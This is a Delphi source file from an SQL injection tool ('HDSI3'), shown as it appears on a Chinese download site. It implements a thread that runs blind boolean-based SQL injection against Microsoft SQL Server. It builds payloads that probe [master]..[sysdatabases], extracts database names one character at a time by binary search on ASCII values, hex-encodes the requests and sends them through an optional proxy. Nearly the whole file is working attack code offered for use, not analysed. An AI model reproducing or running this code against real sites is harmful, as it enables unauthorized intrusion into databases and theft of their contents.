⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 threaddbselect.pas

📁 sql inject HDSI3--delphi.rar
💻 PAS
字号:
unit ThreadDBSelect;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,idhttp;

  type
  TThreadDBSelect = class(TThread)
  function DBCountA(max_num:integer;iTop:integer;iPos:integer;str_url:string;sContent:string;btype:integer):boolean;
  function DBCharLenB(min_num,max_num:integer;iTop,iPos:integer;URL:string;sContent:string):integer;
  function GetURL(URL: string): integer;	
  private


  published

  procedure Execute; override;
  public

    FURL          : String; //URL
    Complete   : Boolean;  //是否下载完毕
    min_num       : integer;   //最小值
    max_num       : integer;  //最大值
    iTop          : integer;  //表的位置
    iPos          : integer;  //字符的位置
    sContent      : string;   //页面内容
    sResult       : string;
  end;

implementation
uses
main_unit,CJdatabase_unit,define_unit,db_select;
//******************************************************************************
procedure TThreadDBSelect.Execute;
var
    ss:string;
    i:integer;
    count:integer;
    label start;
begin
    //sleep(1000);
    //i:=b(min_num,max_num,iTop,iPos,FURL,sContent);
    complete:=false;
    start:
    i:=DBCharLenB(min_num,max_num,iTop,iPos,FURL,sContent);
    if i=0 then
      begin
        count:=count+1;
        if count<=5 then
        begin
          //sleep(1000);
          goto start;
        end;
        {if  application.Messagebox(pchar('暴力猜解字符时出现异常,是否重猜?'),pchar('警告'),MB_YESNO) = IDYES then
          goto start;  }
      end;
    ss:=chr(i);
    sResult:=ss;
    Complete:=true;
    Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
end;
 //******************************************************************************



//*****************************************************************************
function TThreadDBSelect.DBCountA(max_num:integer;iTop:integer;iPos:integer;str_url:string;sContent:string;btype:integer):boolean;
var
    str_ext:string;
    URL:string;
    content:string;
    icode:integer;
    label start;
begin
  //*****************
  result:=false;
  //case btype of
  {1:  begin
        str_ext:=' and (select count(*) from [master]..[sysdatabases])<'+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
              URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
        end;
      end; }
  { 2: begin
          str_ext:=' and (Select top 1 len(name) from (Select top '+inttostr(iTop)+' dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <'+inttostr(max_num);
          case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
              URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
          end;
      end; }
   //3: begin
          str_ext:=' and (Select top 1 ascii(substring(name,'+inttostr(iPos)+',1)) from (Select top '+inttostr(iTop)+' dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <'+inttostr(max_num);
          case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
              URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
          end;
     // end;
  //end;
  //*****************
  URL:=define_unit.SQLINJECTIONUrlToHex(URL,0);
  if Form_main.CheckBox_keyword.Checked=true then
  begin
      content:=define_unit.GetURLContent(str_url+URL);
      if pos(trim(Form_main.Edit_keyword.Text),content)>0 then
          result:=true
      else
          result:=false;
  end
  else
    begin
        start:
        icode:=define_unit.GetURLCode(str_url+URL);
        if icode=200 then
          result:=true
        else
          begin
          if icode= 500 then
              result:=false
          else
                begin
                  //sleep(1000);
                  goto start;
                end;
          end;
    end;

end;
//******************************************************************************
//*****************************************************************************
//暴力破解用的函数
function TThreadDBSelect.DBCharLenB(min_num,max_num:integer;iTop,iPos:integer;URL:string;sContent:string):integer;
var
  i:integer;
  middle:integer;
begin
      result:=0;
     for i:=min_num to max_num do
     begin
        //sleep(1000);
        //停止扫描
        if Form_db_select.stop_DBSelect=true then
        begin
          result:=1;
          exit;
        end;
        if max_num-min_num<=2 then
            break;
        middle:=((max_num-min_num) div 2)+min_num;
        if DBCountA(middle,iTop,iPos,URL,sContent,3) then  //如果小于max,就继续缩小max的范围
        begin
          max_num:=middle;

        end
          else     //如果不小于max,就把min的范围扩大
            begin
              min_num:=middle;
            end;

     end;

     for i:=min_num+1 to max_num do
     begin
      //停止扫描
      if Form_db_select.stop_DBSelect=true then
      begin
          result:=1;
          exit;
      end;
      if DBCountA(i,iTop,iPos,URL,sContent,3) then
        begin
          result:=i-1;
          break;
        end;
     end ;
end;
//*****************************************************************************
function TThreadDBSelect.GetURL(URL: string): integer;
   var
  IdHTTP: TIDHttp;
  ss: string;

begin

  try
    try
      IdHTTP := TIDHttp.Create(nil);
      if Form_main.proxy_check then
      begin
        IdHTTP.ProxyParams.ProxyServer:=form_main.str_Host;
        IdHTTP.ProxyParams.ProxyPort:=strtoint(form_main.str_Port);
        IdHTTP.ProxyParams.ProxyUsername:=form_main.str_Zh;
        IdHTTP.ProxyParams.ProxyPassword:=form_main.str_Mm;
      end;
      IdHTTP.HandleRedirects := true; //必须支持重定向否则可能出错
      IdHTTP.ReadTimeout := TimeOut; //超过这个时间则不再访问
      //ss := IdHTTP.Get(URL);
      IdHTTP.Head(URL);
      except
     //on E: Exception do
      // Application.MessageBox(pchar('出现异常,操作终止!'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation);
    end;
  finally
  Form_main.ProgressBar.Position:=0;
  Form_main.ProgressBar.Position:=30;
  Form_main.ProgressBar.Position:=60;
  Form_main.ProgressBar.Position:=100;
  result:=IdHTTP.ResponseCode;
  IdHTTP.Free;
  end;
  
end;



end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -